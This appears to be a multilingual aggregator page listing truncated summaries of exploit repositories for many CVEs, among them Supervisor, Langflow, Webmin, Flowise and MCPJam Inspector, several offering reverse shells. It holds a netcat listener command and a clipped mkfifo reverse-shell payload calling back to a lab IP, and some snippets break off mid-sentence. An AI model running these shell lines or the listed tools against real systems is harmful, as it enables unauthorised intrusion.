CVE-2017-11610

CVE-2017-11610 RCE non autenticata con Reverse Shell per Supervisor 3.0a1 - 3.3.2 Exploit RCE non autenticato standalone in Python ≥3.6 per Supervisor dalla 3.0a1 alla 3.3.2, riscritto da questo modulo Metasploit. Post esplicativo qui. Testato con Python 3.7 su questo target che esegue Supervisor...

Langflow-CVE-2025-3248-Multi-target

⚠️ Scanner de Exploit RCE Langflow CVE-2025-3248 Este scanner baseado em Python automatiza a detecção de vulnerabilidades de Execução Remota de Código RCE não autenticada em instâncias Langflow via CVE-2025-3248. Ele usa um payload de prova de conceito que abusa do endpoint /api/v1/validate/code...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Script de Exploração 🔥 Introdução Este repositório contém um script de exploração para a vulnerabilidade React2Shell CVE-2025–55182, que ataca um tipo específico de Poluição de Protótipo Prototype Pollution em Node.js levando à Execução Remota de Código RCE. O scrip...

CVE-2018-1207-better

Exploit PoC für CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE Reverse Shell Dieses Repository enthält ein Proof-of-Concept-Python-Skript, um einen Exploit für Remotecodeausführung in iDRAC7- und iDRAC8-Geräten mit Firmware-Versionen 2.52.52.52 und darunter zu demonstrieren. Dieser Exploit ermöglicht es...

shellshock-shell

shellshock-shell Un semplice exploit simile a una shell Python per il bug Shellschok CVE-2014-6271. Usalo per sfruttare URL vulnerabili noti. Questo strumento può essere utilizzato solo sui tuoi URL autorizzati. L'autore di questo strumento non si assume alcuna responsabilità per il suo utilizzo...

cve-2025-32433_rce_exploit

Erlang/OTP SSH – CVE-2025-32433 TryHackMe लैब ⚠️ केवल शैक्षिक उपयोग हेतु यह प्रोजेक्ट केवल आधिकारिक TryHackMe रूम पर सीखने और लैब अभ्यास के लिए है: https://tryhackme.com/room/erlangotpsshcve202532433 इस टूल का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपको...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920 में एक समस्या पाई गई। passwordchange.cgi में "old" और "expire" पैरामीटर में कमांड इंजेक्शन कमजोरी है। उपयोग 1. लाल बॉक्स पर एक लिसनर शुरू करें। root@kitploit: rlwrap -cAr nc -lvp 1919 2. एक्सप्लॉइट चलाएँ root@kitploit:...

mcafee_atd_CVE-2019-3663

McAfee ATD CVE-2019-3663 McAfee Advanced Threat Defense ATD 4.6.x und früher - Hartcodiertes Root-Passwort Sicherheitsbulletin: https://kc.mcafee.com/corporate/index?page=content&id=SB10304 Interessante Shadow-Einträge root@kitploit:...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin Introduzione CVE-2024-36401 scansione batch e sfruttamento, supporta iniezione personalizzata di memory shell 1. Scansione batch possibile 2. Il backend ha già filtrato gli URL basta inserire l'URL 3. È possibile generare e iniettare memory shell personalizzate per...

log4shell-minecraft-demo

Log4Shell CVE-2021-44228 demo per Minecraft Questa demo viene utilizzata nelle fiere educative per dare ai potenziali futuri studenti un'idea del dipartimento di cybersecurity dell'HTL Villach e su come le applicazioni di uso quotidiano possono essere sfruttate Nota: Questa intera demo utilizza...

Exploit-CVE-2024-26503

Strumento di Exploit RCE per Open eClass Questo strumento è progettato per sfruttare una vulnerabilità nota CVE-2024-26503 nelle piattaforme Open eClass, consentendo l'esecuzione remota di codice RCE attraverso un difetto di upload di file senza restrizioni. La vulnerabilità permette agli...

jankybank

jankybank Ispirato e in gran parte preso in prestito da kozmer/log4j-shell-poc Funziona con eurogig/log4sheller Usalo per creare un CTF basato su Log4j...

SaltStack <=3002 - Shell Injection

SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client. id: CVE-2020-16846 info: name: SaltStack =3003 to mitigate this vulnerability. reference: -...

React2shell-CVE-2025-55182-Exploit

Questo repository non contiene un README...

CVE-2026-14459-14460-pardus-software

Pardus Software Center — Lokale Privilegienausweitung CVE-2026-14459 & CVE-2026-14460 Proof-of-concept- und exploitbereiter Code für zwei lokale Privilegienausweitungsprobleme im pardus-software-Paket Pardus Software Center Version 1.0.4 , beide behoben in 1.0.5. CVE| Klasse| Zusammenfassung| CVS...

CVE-2022-31814

CVE-2022-31814 Exploit aggiornato - pfBlockerNG = 2.1.426 RCE non autenticata CVE-2022-31814 Descrizione Questo script è un exploit proof-of-concept per pfBlockerNG = 2.1.426 che consente l'esecuzione remota di codice. Prende un singolo URL target o un elenco di URL, tenta di caricare una shell...

mcpExec

mcpExec é uma ferramenta que aproveita o CVE-2026-23744 para obter uma reverse shell usando a URL da instalação vulnerável do MCPJam Inspector. Instalação root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich...

DirtyPipe-BSI

Dirty...Was? Dies ist der Proof-of-Concept von Max Kellermann für Dirty Pipe, modifiziert, um das Root-Passwortfeld in /etc/passwd zu überschreiben und nach Erhalt einer Root-Shell wiederherzustellen. Hinweis: Ich beanspruche keine Anerkennung für das Auffinden dieser Schwachstelle oder das...

CVE-2022-24715

Icinga Web 2 - Esecuzione remota di codice autenticata 2.8.6, 2.9.6, 2.10 Esecuzione remota di comandi Reverse shell Utilizzo root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE PoC di RCE autenticato per Flowise versione &1|nc 10.10.15.200 443 /tmp/f' Controlla il listener e dovrebbe funzionare: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control...